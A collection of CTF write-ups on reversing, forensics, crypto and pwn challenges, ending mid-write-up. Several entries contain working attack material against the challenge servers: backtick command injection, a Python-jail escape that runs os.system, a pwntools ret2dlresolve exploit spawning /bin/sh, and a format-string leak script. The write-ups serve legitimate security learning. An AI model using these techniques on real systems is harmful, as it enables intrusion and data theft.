# Speeds and feeds Category: Reverse Engineering AUTHOR: RYAN RAMSEYER ## Description```There is something on my shop network running at nc mercury.picoctf.net 16524, but I can't tell what it is. Can you?``` ## Netcat We have a netcat command given... so how about just connect?```bashnc mercury.picoctf.net 16524G17 G21 G40 G90 G64 P0.003 F50G0Z0.1G0Z0.1G0X0.8276Y3.8621G1Z0.1G1X0.8276Y-1.9310G0Z0.1G0X1.1034Y3.8621G1Z0.1G1X1.1034Y-1.9310G0Z0.1G0X1.1034Y3.0345G1Z0.1G1X1.6552Y3.5862G1X2.2069Y3.8621```Wow, okay... that looks like nonsense. I just redirected the output into a file `output.txt`. Great. How about we take a hint? ## Listening to the hint `What language does a CNC machine use?` Interesting, time to google it... and turns out it is `G-Code`. Makes sense since everything starts with a `G`. But what now? What use is this to us? Maybe we could google an interpreter? ## Interpreter I found [this one](https://ncviewer.com/), and it is really handy. After inputting the code, we get this result: ![flag](./flag.png) ![flag2](./flag-2.png) Great! Here is just plaintext: `picoCTF{num3r1cal_c0ntr0l_e7749028}`
# $Echo The page looks like is passing our input to the `echo` command filtering some kind of characters. Looks like it wont parse \` so we can execute, for example, the `ls` command putting \`ls\`. Also we can use `<` so we can tell bash to pass a file content to `echo`. Putting \`ls ../\` return `flag.txt html` as output, so there is the flag. Lets try this:````<../flag.txt````And we get the flag: ```flag{1beadaf44586ea4aba2ea9a00c5b6d91}```
# Get aHEAD AUTHOR: MADSTACKS ##Description ```Find the flag being held on this server to get ahead of the competition``` ## Solution Opening up the website we can see the following: ![website](./website.png) Okay, so we can change the colour of the page. But what use is that to us? Maybe there is something in the source code.```html <html><head> <title>Red</title> <link rel="stylesheet" type="text/css" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> <style>body {background-color: red;}</style></head> <body> <div class="container"> <div class="row"> <div class="col-md-6"> <div class="panel panel-primary" style="margin-top:50px"> <div class="panel-heading"> <h3 class="panel-title" style="color:red">Red</h3> </div> <div class="panel-body"> <form action="index.php" method="GET"> <input type="submit" value="Choose Red"/> </form> </div> </div> </div> <div class="col-md-6"> <div class="panel panel-primary" style="margin-top:50px"> <div class="panel-heading"> <h3 class="panel-title" style="color:blue">Blue</h3> </div> <div class="panel-body"> <form action="index.php" method="POST"> <input type="submit" value="Choose Blue"/> </form> </div> </div> </div> </div> </div> </body></html>```Also nothing, we can just see that `Red` is set with a GET request, and `Blue` with a POST. Hmm, maybe there is a hint in the name of the challenge? After all, we can send a GET request, POST request or a HEAD. Maybe that is it? ### For windows usersIn powershell```powershellcurl -Uri http://mercury.picoctf.net:15931/ -Method HEAD StatusCode : 200StatusDescription : OKContent :RawContent : HTTP/1.1 200 OK flag: picoCTF{r3j3ct_th3_du4l1ty_82880908} Content-Type: text/html; charset=UTF-8 Forms : {}Headers : {[flag, picoCTF{r3j3ct_th3_du4l1ty_82880908}], [Content-Type, text/html; charset=UTF-8]}Images : {}InputFields : {}Links : {}ParsedHtml : mshtml.HTMLDocumentClassRawContentLength : 0```Flag! ### Linux```bashcurl --HEAD http://mercury.picoctf.net:15931/ HTTP/1.1 200 OKflag: picoCTF{r3j3ct_th3_du4l1ty_82880908}Content-type: text/html; charset=UTF-8```The same flag!
# roulette_wheel **Category**: Rev \**Points**: 491 (15 solves) \**Author**: akhbaar ## Challenge Akhbaar has opened an online casino to pass time during the pandemic. Come playat the roulette wheel. Attachments: `wheel` ## Overview Let's run it:```$ ./wheelWelcome to the roulette wheelWhat do you want to do?Press 1 for a hintPress 2 to choosePress 3 to play1VHJ5IGhhcmRlcgo= [decodes to "Try harder"]What do you want to do?Press 1 for a hintPress 2 to choosePress 3 to play2What's your lucky number?50What do you want to do?Press 1 for a hintPress 2 to choosePress 3 to play3Let's see what happensYou chose:5000000The wheel chose....10570563710285841304848517216643991456000119161754206873Better luck next time, come again soon``` Ok great but WHERE'S THE FLAG??? Decompile `main` in Ghidra (btw it's C++ sothe output is ugly af)```c... if (input != 1) break; hint(local_98); } if (input != 2) break; pick_numbers(local_98); } if (input == 3) { play(local_98); } else { if (input == 4) { WHATS_THIS(local_98); }...``` There's a hidden option 4:```$ ./wheelWelcome to the roulette wheelWhat do you want to do?Press 1 for a hintPress 2 to choosePress 3 to play4Quit looking for cheats you big baby!``` In Ghidra it looks like:```cvoid no_cheats(void) { basic_ostream *this; this = std::operator<<((basic_ostream *)std::cout,"Quit looking for cheats you big baby!"); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)this, std::endl<char,std::char_traits<char>>); /* WARNING: Subroutine does not return */ exit(1);}``` Wow ok. But still, WHERE THE FUCK IS THE FLAG??? Don't feel like guessing, so time for some challenge author OSINT!!! I findhis profile on GitHub and luckily he has a CTF writeups repo! I bet I'll findsomething interesting in there!! Wow his[writeup](https://github.com/akhbaar/ctf-writeups/blob/master/0x414141-2021/hash.md)for Hash from [0x41414141 CTF](https://ctftime.org/event/1249) explains how thechallenge has dead code (code behind an `if` statement that's always false) sothat Ghidra doesn't show it! How sneaky!! I bet he used the same trick here!! Guess what: ![dead](dead.png) My two variables `stupid` and `idiot` are set to `0x42` and `0x3ab` andcompared. If the answer is true (which happens NEVER) it jumps to this`mYsTeRiOuS` label. Now just patch the instruction with `Ctrl+Shift+G` and boom suddenly we see a bunchof code appear in the decompilation output, particularly```cprintf("0x%x\n",0x4d4a5258);printf("0x%x\n",0x495a5433);printf("0x%x\n",0x47525657);printf("0x%x\n",0x51595255);printf("0x%x\n",0x47525a44);printf("0x%x\n",0x434e4a55);printf("0x%x\n",0x4e555948);printf("0x%x\n",0x454d444f);printf("0x%x\n",0x50554641);printf("0x%x\n",0x3d3d3d3d);``` Unhex the numbers, Base32 decode, (who the fuck uses Base32?) and get the flag: ![flag](f.png)
This challenge is about reversing the following (obfuscated) program written in Haskell: ```haskell#!/usr/bin/env runhaskell{-# LANGUAGE OverloadedStrings #-}import Prelude hiding (replicate, putStrLn)import Data.List hiding (replicate)import Data.Tupleimport Data.Ordimport Data.Functionimport Data.ByteString (replicate)import Data.ByteString.Char8 (putStrLn, pack)import Control.Monadimport Control.Arrowimport Control.Applicativeimport Crypto.Cipher.AESimport Crypto.Hash.SHA256import Unsafe.Coerce c = "\xd7\xc8\x35\x14\xc4\x27\xcd\x6f\x78\x3a\x80\x57\x76\xb0\xfd\x42\x25\xe4\x87\x5f\x99\x28\x87\x0a\x06\xef\x63\x81\x44" main = (>>=) getContents $ read >>> putStrLn <<< ( <<< unsafeCoerce . and <<< flip `liftM` flip liftM2 `uncurry` (fmap unsafeCoerce $ swap <**> (<>) $ (&) <$> [0..39] & pure) <<< ((.) or <<<) . (<$>) (flip (<$>) >>> (.) $ (>>> \[x] -> x) . flip elemIndices & \(??) -> (.) . (>>>) . (. flip (??)) . ((.) (>=) .) . (>>>) <*> (.) (<**>) . (<*>) . (.) (??) & \t -> [(&) $ id $ fst <$> (flip sortBy [0..39] . comparing . (!!) *** drop 40 <<< return . snd ^>> (<>) <*> swap) `iterate` pure (tail $ flip iterate 44 $ flip mod 400013 <$> (+) 42 . (*) 1337) & tail & (!!)] <*> [(<<^) flip <<< t >>> ((!!) >>>), (.) (==) <$> (!!) & return, (>>>) (??) . t <<< (. (+) 40)]) . (>>>) (.) . (.) <<< ( >>>) . (&)) . maybe "wrong" <$> (>>>) pure (>>> initAES . hash . pack . show >>> decryptCTR `flip` replicate 16 0 `flip` c) <*> id``` For more details, please take a look [here](https://www.tasteless.eu/post/2020/12/hxp-ctf-2020-re-haskell-writeup/).
The hint and the initial server message suggest something to do with keyboard mappings, and googling the title ekrpat also confirms that it's a qwerty/dvorak mapping. Using any of many sites to convert from dvorak -> qwerty, we decode that message to: > You've broken my code! Escape without the help of eval, exec, import, open, os, read, system, and write. First, enter 'dvorak'. You will then get another input which you can use try to break out of the jail. Type in 'dvorak', and you can try to run one Python statement before getting disconnected. All the usual interesting functions are disallowed, but are there any other interesting built-in functions that aren't banned? Looking through the [list of built-in functions](https://docs.python.org/3/library/functions.html), I immediately noticed that `breakpoint()` wasn't banned. So, use `breakpoint()` to break into the Python debugger, and then it's trivial to grab the flag from there: ```$ nc 34.72.64.224 8083Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv>>> dvorak>>> breakpoint()--Return--> <string>(1)<module>()->None(Pdb) import os(Pdb) os.system('ls -al')total 52drwxr-xr-x 1 root root 4096 Mar 26 23:58 .drwxr-xr-x 1 root root 4096 Mar 25 05:02 ..-rw-r--r-- 1 root root 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 root root 3771 Feb 25 2020 .bashrc-rw-r--r-- 1 root root 807 Feb 25 2020 .profile-rw-r--r-- 1 root root 555 Mar 25 05:05 Dockerfile-rw-r--r-- 1 root root 583 Mar 26 23:57 ekrpat.py-rw-r--r-- 1 root root 20 Mar 25 04:59 flag-rw-r--r-- 1 root root 0 Mar 26 23:52 ojal.-rwxr-xr-x 1 root root 18744 Mar 25 05:05 ynetd0(Pdb) os.system('cat flag')UMASS{dvorak_rules}0```
# Unlucky Strike **Category**: Crypto \**Points**: 498 (7 solves) \**Author**: dm ## Challenge Wow, just the perfect opportunity to showcase your uberleet hacking skills toyour significant other and all your friends. There's absolutely no way youwon't hack yourself a jackpot at this fair, you know it. Something looks fishythough... Server at: `nc chal.b01lers.com 25003` Attachments: `server.py` ## Solution Yet another CBC padding oracle. Too lazy to make a write-up, script in`solve.py`.
# ARMssembly 0 Category: Reverse Engineering AUTHOR: DYLAN MCGUIRE ## Description```What integer does this program print with arguments 4134207980 and 950176538? File: chall.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})``` ## Understanding the basics I would say that I am somewhat comfortable with classic `x86` assembly, but I had to learn about `ARM` for this challenge (which I love! Learning new stuff is more than cool). So we can break down the first function, step by step:```armfunc1: sub sp, sp, #16 str w0, [sp, 12] str w1, [sp, 8] ldr w1, [sp, 12] ldr w0, [sp, 8] cmp w1, w0 bls .L2 ldr w0, [sp, 12] b .L3```So here we go. `sp` stands for the stack pointer, and the `sub` instruction is a substraction with three components:```sub x,y, #z```Substract `#z` (# denotes a constant value) fro `y` and store it in `x`. Why is this instruction even here? It makes space on the stack for variables, and since we have two, substracting `16` should be just enough. In the next two lines we have some essential instructions:```str w0, [sp, 12] str w1, [sp, 8]````str` stands for `store`, and `w0` and `w1` are the user input variables. So we `store` the values in `w0` and `w1` on the stack (`sp`). The number denotes the offset on the stack. So `str w0, [sp, 12]` means `store w0 on the stack at offset 12`. Pretty neat.```ldr w1, [sp, 12] ldr w0, [sp, 8]```Here we load the values from the stack at a given offset into a variable. So `load the value at offset 12 on the stack into w1` is equal to `ldr w1, [sp, 12]`. Also neat! And very important.```cmp w1, w0``` Compare the values by substracting `w0` from `w1`. So basically a `sub` except that we do not store the value. Next!```bls .L2```Right, this is a `branch if less` instruction, if `w0` is smaller than `w1` `branch` or `jl` (for the x86 guys) to `.L2`. And at the end load a value again and `b` (simple branch `jmp` in x86). Very nice! ## Remaining functions ```.L2: ldr w0, [sp, 8] .L3: add sp, sp, 16 ret .size func1, .-func1 .section .rodata .align 3``` At `.L2` we load a value from the `stack at offset 8` into the variable w0 and continue execution back in `func1`. In `.L3` we just `add` 16 back to `sp`, ie. we fill the stack back again. ## Main ```main: stp x29, x30, [sp, -48]! add x29, sp, 0 str x19, [sp, 16] # 4134207980 str w0, [x29, 44] # 950176538 str x1, [x29, 32] ldr x0, [x29, 32] add x0, x0, 8 ldr x0, [x0] bl atoi mov w19, w0 ldr x0, [x29, 32] add x0, x0, 16 ldr x0, [x0] bl atoi mov w1, w0 # w1 -> 950176538 mov w0, w19 # w0 -> 4134207980 bl func1 mov w1, w0 adrp x0, .LC0 add x0, x0, :lo12:.LC0 bl printf mov w0, 0 ldr x19, [sp, 16] ldp x29, x30, [sp], 48 ret```Here is the main function with my added "comments". So if we add everything together, what happens? If we just skip to the important bit, before branching to `.L3` the value from `[sp, 12]` is loaded and printed! So what is the flag?```picoCTF{f66b01ec}```Convert `4134207980` into a 32 bit hex string and that is it.
# swirler **Category**: Rev \**Points**: 341 (63 solves) \**Author**: qxxxb ## Challenge Should we make this one swirling-as-a-service? http://chal.b01lers.com:8001 Attachments: ![flag](flag.png) ## Solution [s.mp4](s.mp4)
# ARMssembly 1 Category: Reverse Engineering AUTHOR: PRANAY GARG **Disclaimer! I do not own the challenge file!** ## Description```For what argument does this program print `win` with variables 68, 2 and 3? File: chall_1.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})``` ## Going through the functions Yet again we have a `chall_1.S` arm assembly file, so time to look at the functions and go through it. ```func: sub sp, sp, #32 str w0, [sp, 12] mov w0, 68 str w0, [sp, 16] mov w0, 2 str w0, [sp, 20] mov w0, 3 str w0, [sp, 24] ldr w0, [sp, 20] ldr w1, [sp, 16] lsl w0, w1, w0 str w0, [sp, 28] ldr w1, [sp, 28] ldr w0, [sp, 24] sdiv w0, w1, w0 str w0, [sp, 28] ldr w1, [sp, 28] ldr w0, [sp, 12] sub w0, w1, w0 str w0, [sp, 28] ldr w0, [sp, 28] add sp, sp, 32 ret .size func, .-func .section .rodata .align 3```Right, well that is pretty big. Maybe we can go through it piece by piece, like start with the stores.``` sub sp, sp, #32 str w0, [sp, 12] mov w0, 68 str w0, [sp, 16] mov w0, 2 str w0, [sp, 20] mov w0, 3 str w0, [sp, 24]```So first we make space on the stack for the variables. Our user input is stored on the `stack at offset 12`, next the `mov` instruction is called. ```mov w0, 68```The value `68` is moved into `w0`. This is a very easy and straight forward instruction. Going on this value is stored on the `stack at offset 16`. So going on like this, we get:```stack + 12 = user inputstack + 16 = 68stack + 20 = 2stack + 24 = 3```Now that we know where everything on the stack is, we can move on.``` ldr w0, [sp, 20] ldr w1, [sp, 16] lsl w0, w1, w0 str w0, [sp, 28] ```Now `load the number 2 into w0` and `load 68 into w1`. Then the `lsl` instruction is called, which is a left bit shift and store, with the following syntax:```lsl x,y,z```Shift the value in `y` by `z` and store the result in `x`. A demonstration of the bit shift ( >> or << in most languages):```12 in binary is 00001100 (padded to 8bits) now 00001100 << 2 (logical left shift 2) take 00001100 move it two bits to the left like so: 00001100 << 2 = 00110000 Convert to decimal = 48```Now that we know all this, we can yet again move on.``` ldr w1, [sp, 28] ldr w0, [sp, 24] sdiv w0, w1, w0 str w0, [sp, 28] ```Start by `loading the value 272 from stack + 28 into w0` (the result of the bit shift!) and `load 3 from stack + 24 into w1`. Next up, the `sdiv` instruction. ```sdiv x,y,z```Divide `y` by `z` and store in `x`. So in our case `272 // 3 = 90`. And store `90 on the stack + 28`. To keep track of values, here's another listing:```stack + 12 = user inputstack + 16 = 68stack + 20 = 2stack + 24 = 3stack + 28 = 90```Good, moving on:``` ldr w1, [sp, 28] ldr w0, [sp, 12] sub w0, w1, w0 str w0, [sp, 28] ldr w0, [sp, 28] add sp, sp, 32 ret```And finally `load 90 into w1`, `load the user input into w0` and `substract 90 - user input`. Store the result of this in `stack + 28` and `load that result back into w0`. Return. ## Going into main```main: stp x29, x30, [sp, -48]! add x29, sp, 0 str w0, [x29, 28] str x1, [x29, 16] ldr x0, [x29, 16] add x0, x0, 8 ldr x0, [x0] bl atoi str w0, [x29, 44] ldr w0, [x29, 44] bl func cmp w0, 0 <---------- bne .L4 adrp x0, .LC0 add x0, x0, :lo12:.LC0 bl puts b .L6```Notice the `cmp` instruction. We want the `w0` variable to be `0`! If it's not, we branch to `.L4` which branches to `.L1`, and we don't want the result to be `.L1` but `.L0`:```.LC0: .string "You win!" .align 3.LC1: .string "You Lose :(" .text .align 2 .global main .type main, %function``` ## Solving So what is the important part? Where does our input come into play?```sub w0, w1, w0```Here. We want the result of this substraction to be `0`. And since `w1` is 90, we want to input 90! Convert that to hex and make it 32 bits.```picoCTF{0000005a}```
# bunnydance **Category**: Pwn \**Points**: 497 (9 solves) \**Author**: nsnc ## Challenge Wait a minute isn't this just DARPA CGC LITE v3.0? Guys seriously maybe we should stop putting this challenge in every CTF... Difficulty: Medium `chal.b01lers.com 4001` ## Overview Server sends you 9 binaries in random order and you have to pwn them all to getthe flag. Here's an example of one of the binaries:```c#include<stdio.h> int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); // break up main in random line increments into seperate functions char input[48]; // buffer varies puts("Name: "); // puts, printf, write, fwrite. print_output function, Text varies gets(input); // gets, fgets, scanf, strcpy, memcpy, fread puts("Hello, "); // puts, printf, write, fwrite print_output function text varies puts(input);}``` ## Solution We're guaranteed a stack buffer overflow (no canary), so we can automaticallycalculate the offset to the stack return address like so:```pythondef get_rip_offset(chall): # Generate a cyclic pattern so that we can auto-find the offset payload = pwn.cyclic(128) # Run the process once so that it crashes io = pwn.process(chall) io.sendline(payload) io.wait() # Get the core dump core = pwn.Coredump("./core") # Our cyclic pattern should have been used as the crashing address offset = pwn.cyclic_find(core.fault_addr & (2 ** 32 - 1)) return offset``` To pop a shell, we can just use ret2dlresolve.```pythondef get_ret2dlresolve(elf, offset): # Pwntools script kiddie solution bss = elf.bss(0x100 - 8) ret2dl = pwn.Ret2dlresolvePayload(elf, "system", ["/bin/sh"], bss) rop = pwn.ROP(elf) rop.raw(rop.ret.address) # ret gadget to align stack rop.gets(bss) rop.ret2dlresolve(ret2dl) return b"A" * offset + rop.chain() + b"\n" + ret2dl.payload``` > I saw another solution that uses ret2libc (ropping to `puts` to print> `__libc_start_main`, then going back to `main` to overflow again) Now we just have to wrap it in a pwntools script to interact with the server.Full script in `solve.py`, output: ```$ python3 solve.py[+] Opening connection to chal.b01lers.com on port 4001: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments[!] Could not find executable 'chall' in $PATH, using './chall' instead[+] Starting local process './chall': pid 33175[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33175)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x401203 RSP: 0x7fffa1690f28 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x400000) Fault: 0x6161616c6161616b[*] Loaded 15 cached gadgets for 'chall'[+] Flag: b'bctf{th3_bunny_ate_all_the_carrots_what_4_p1g}'[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process './chall': pid 33179[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33179)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x4011f3 RSP: 0x7ffec95ee678 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x401000) Fault: 0x6161616661616165[+] Flag: b'bctf{(=^_^=)}'[+] Starting local process './chall': pid 33182[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33182)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x4011f3 RSP: 0x7ffda72cab58 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x401000) Fault: 0x6161616661616165[+] Flag: b'bctf{are_you_tired_of_pwning_yet...im_not!}'[+] Starting local process './chall': pid 33185[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33185)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x401237 RSP: 0x7ffe09ce76c8 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x401000) Fault: 0x6161616c6161616b[*] Loaded 14 cached gadgets for 'chall'[+] Flag: b'bctf{1tz_h4ll0w33n_1n_r3v3rse}'[+] Starting local process './chall': pid 33189[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33189)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x401203 RSP: 0x7ffdf68fe068 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x401000) Fault: 0x6161616c6161616b[+] Flag: b'bctf{put_the_eggs_in_the_basket_old_man}'[+] Starting local process './chall': pid 33193[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33193)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x401217 RSP: 0x7ffef4d5dfb8 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x401000) Fault: 0x6161616661616165[+] Flag: b'bctf{an1m4l_cr0ss1ng_t0day_looks_m0re_fun_than_ctf}'[+] Starting local process './chall': pid 33199[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33199)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x4011f3 RSP: 0x7ffec112ca18 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x401000) Fault: 0x616161706161616f[+] Flag: b'bctf{stop_k1d_th4ts_n0t_the_34ster_bunny}'[+] Starting local process './chall': pid 33202[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33202)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x401217 RSP: 0x7ffeda483788 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x401000) Fault: 0x616161706161616f[+] Flag: b'bctf{ch0c0late_bunnies_r_l1k3_chal_authors_hollow_and_annoying}'[+] Starting local process './chall': pid 33205[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 33205)[+] Parsing corefile...: Done[*] '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/core' Arch: amd64-64-little RIP: 0x4011f3 RSP: 0x7ffdbacb8fb8 Exe: '/home/plushie/Programs/bbb_writeups/2021/b01lers_ctf/bunnydance/chall' (0x401000) Fault: 0x616161706161616f[+] Flag: b'bctf{b0utt4_ch0k3_on_a_cadbury_cr3am_egg_th1s_y3ar}'[*] Switching to interactive modeflag{n0w_d0_th3_bunnyd4nc3}Time hops on...[*] Got EOF while reading in interactive```
# Find Me The given file was a PCAP capture. The first thing we do is `strings` to have easy informations. ![strings](https://github.com/Ewael/CTFs/blob/master/2021/ShaktiCTF/Forensics/FindMe/strings.png?raw=true) We see this interesting part: ```You might need this...98 106 66 48 100 71 103 48 100 71 86 104 78 88 107 61``` Let's decode this: ```python>>> print(''.join([chr(int(a)) for a in '98 106 66 48 100 71 103 48 100 71 86 104 78 88 107 61'.split(' ')]))bjB0dGg0dGVhNXk=``` ```$ echo bjB0dGg0dGVhNXk= | base64 -dn0tth4tea5y``` Ok, let's keep this and dive into the capture file. Following the TCP streams gives us 2 streams, the first one being what we just decoded, let's dig the second one. ![cap1](https://github.com/Ewael/CTFs/blob/master/2021/ShaktiCTF/Forensics/FindMe/cap1.png?raw=true) ![cap2](https://github.com/Ewael/CTFs/blob/master/2021/ShaktiCTF/Forensics/FindMe/cap2.png?raw=true) We can clearly see a reversed `flag.txt` string in that capture, let's reverse it and see we get as a file. ![cyber](https://github.com/Ewael/CTFs/blob/master/2021/ShaktiCTF/Forensics/FindMe/cyber.png?raw=true) A ZIP file! It's password protected, opening it with our `n0tth4tea5y` works like a charm, and we get out beloved `flag.txt`: ```shaktictf{g00d_lUcK_4_tH3_n3xT_cH411eNg3}```
Given a Netcat connection, abuse the FSB (format string bug) in the program to leak the strings on the stack. Note that the payloads need to be reversed (the program asks you to send them like this).I made this pwntools script to leak the first 100 strings: ```from pwn import * context.arch = 'amd64'context.log_level = 'critical' host, port = 'challs.dvc.tf', 8888 for i in range(1, 100): try: conn = remote(host, port) payload = f"%{i}$s"[::-1] print(f"Sending {payload}") conn.sendlineafter("Reverse string: ", payload) response = conn.recv().decode().strip() print(response, "\n") if "dvCTF{" in response: print("Flag found!") break conn.close() except KeyboardInterrupt: break except: conn.close()``` At the 24th string, the flag appeared! (payload: s$42%) Flag: dvCTF{1_h0p3_n01_s33s_th1s}
Honestly? Go view the GitHub URL instead of looking here. ## Scan Me (SM) ### Description - SM Solved by: [goproslowyo](https://github.com/goproslowyo) Author: [goproslowyo](https://github.com/goproslowyo) This challenge was a broken QR code needed to be recreated to be read. ### Process - SM 1. We're given an `xcf` file which is a GIMP project file. `http://static.ctf.umasscybersec.org/misc/8e0111c9-d8d0-4518-973d-dbdcbd9d5a42/scan_me.xcf`1. Opening the project in GIMP we can see there are two layers. Removing the top layer exposes the QR code.1. If we fix the missing corner for the QR code to help the camera align the data.1. The QR code gives us a URL [to an image](https://imgur.com/a/57VgQ8M) container our flag, `UMASS{RQ-3Z-m0d3}`. ### Screen Grabs - SM ![layers](./assets/SM/1.png)![qrcode](./assets/SM/2.png)![fixed](./assets/SM/3.png) ### Tools Used - SM 1. Used this as a reference to understand QR code format and recovery [QR Codes](https://www.datagenetics.com/blog/november12013/index.html)
# Disk,disk,sleuth! II Category: Forensics AUTHOR: SYREAL **Disclaimer! I do not own any of the challenge files!** ## Description```All we know is the file with the flag is named `down-at-the-bottom.txt`... Disk image: dds2-alpine.flag.img.gz``` ## Poking around So just like last time, I ran `srch_strings`:```srch_strings dds2-alpine.flag.img | grep picoffffffff81399ccf t pirq_pico_getffffffff81399cee t pirq_pico_setffffffff820adb46 t pico_router_probe```But nothing this time... maybe some other tools? I tried playing around with the GUI version of tsk `Autopsy`. But it didn't help... so I decided to just install qemu and try and boot into the img from there. ## qemu Installation (on Kali/Debian): `apt-get install qemu-kvm`Then I just ran `qemu-system-x86_64 dds2-alpine.flag.img`. The image booted up, and I searched for `down-at-the-bottom.txt`: ![flag](./flag.png) `picoCTF{f0r3ns1c4t0r_n0v1c3_0d9d9ecb}` Great!
# BlueHens CTF ## Hot-diggity-dog ![shakti](https://github.com/aryaarun12/CTF-Write-ups/blob/master/docs/crypto/BlueHensCTF/asset/hdd.png?raw=true) [hot-diggity-dog.py](https://github.com/aryaarun12/CTF-Write-ups/blob/master/docs/crypto/BlueHensCTF/asset/hdd.py) [output.txt](https://github.com/aryaarun12/CTF-Write-ups/blob/master/docs/crypto/BlueHensCTF/asset/hdd.txt) - On observing the files, we find that it is a cryptographic attack- 'Wiener's attack'- And we found a [script](https://github.com/MxRy/rsa-attacks/blob/master/wiener-attack.py) online to decrpyt it.- Substituting our values and running it, directly gives us the flag..```UDCTF{5t1ck_t0_65537}
# RSASSS **Category**: Crypto \**Points**: 493 (13 solves) \**Author**: A1y ## Challenge NOTE: You will need to add541893472927304311696017462663852715895951883676838007787557872016428N to theplaintext to recover the message after decrypting. Hello Mister H, I heard that you're one of the city's best private investigator, and I have ajob for you. My father, who was a very wealthy man, had recently passed away(God rest his soul). Unfortunately, he was also a very traditional man. Hedecided to leave everything to his 3 sons, and NOTHING for ME! ME! The personwho was by his sides taking care of him during his last days! ME! The personwho stayed at home to take care of everything while his 3 sons went out to playaround the world. Anyways, that is why I have decided to take back what shouldbe rightfully mine! I took a peak at the will, and know that my father gaveeach of my brother a piece of the puzzle, and only by using all 3 pieces can Iget the final key, in the format of "bctf{......}". (I think the bctf standsfor bank certified transaction form or something). Anyways, I made copies ofall 3 pieces that were given to my brother, and have included them here.Additionally, I found a piece of paper that said: ```RSA@S@@S@``` Maybe it means something to you?> NO IT FUCKING DOESN'T Finally, I overheard something about how the piece of the key belonging to mysecond brother starts with something like "28322C". Please help me! Sign, \Miss A1y Attachments: `RSASSS.zip` ## Overview We have three text files: `son1.txt`, `son2.txt`, and `son3.txt`. ## Solution ### Part 1 Large N and small e so the ciphertext probably didn't wrap around the modulus. Just take the e-th root to get the plaintext:```pythonN = 97047969232146954924046774696075865737213640317155598548487427318856539382020276352271195838803309131457220036648459752540841036128924236048549721616504194211254524734004891263525843844420125276708561088067354907535207032583787127753999797298443939923156682493665024043791390402297820623248479854569162947726288476231132227245848115115422145148336574070067423431126845531640957633685686645225126825334581913963565723039133863796718136412375397839670960352036239720850084055826265202851425314018360795995897013762969921609482109602561498180630710515820313694959690818241359973185843521836735260581693346819233041430373151e = 3ct = 6008114574778435343952018711942729034975412246009252210018599456513617537698072592002032569492841831205939130493750693989597182551192638274353912519544475581613764788829782577570885595737170709653047941339954488766683093231757625 pt1 = find_root(ct, e)pt1 = cun.long_to_bytes(pt1).decode()print(pt1)``` Part 1: `(1, 132156498146518935546534654)` ### Part 2 This one is more interesting: `e` and `phi` aren't coprime, which makescalculating `d` not possible. The solution is to calculate some `lam` (should be `lambda`, but that's akeyword in python) so that `lam` and `e` are coprime. In this case we can do`lam = phi // 128` and use the `lam` as our new `phi`. Then do:```pythond = cun.inverse(e, lam)first_pt = pow(ct, d, N)``` This doesn't give us the plaintext, but it does satisfy`ct == 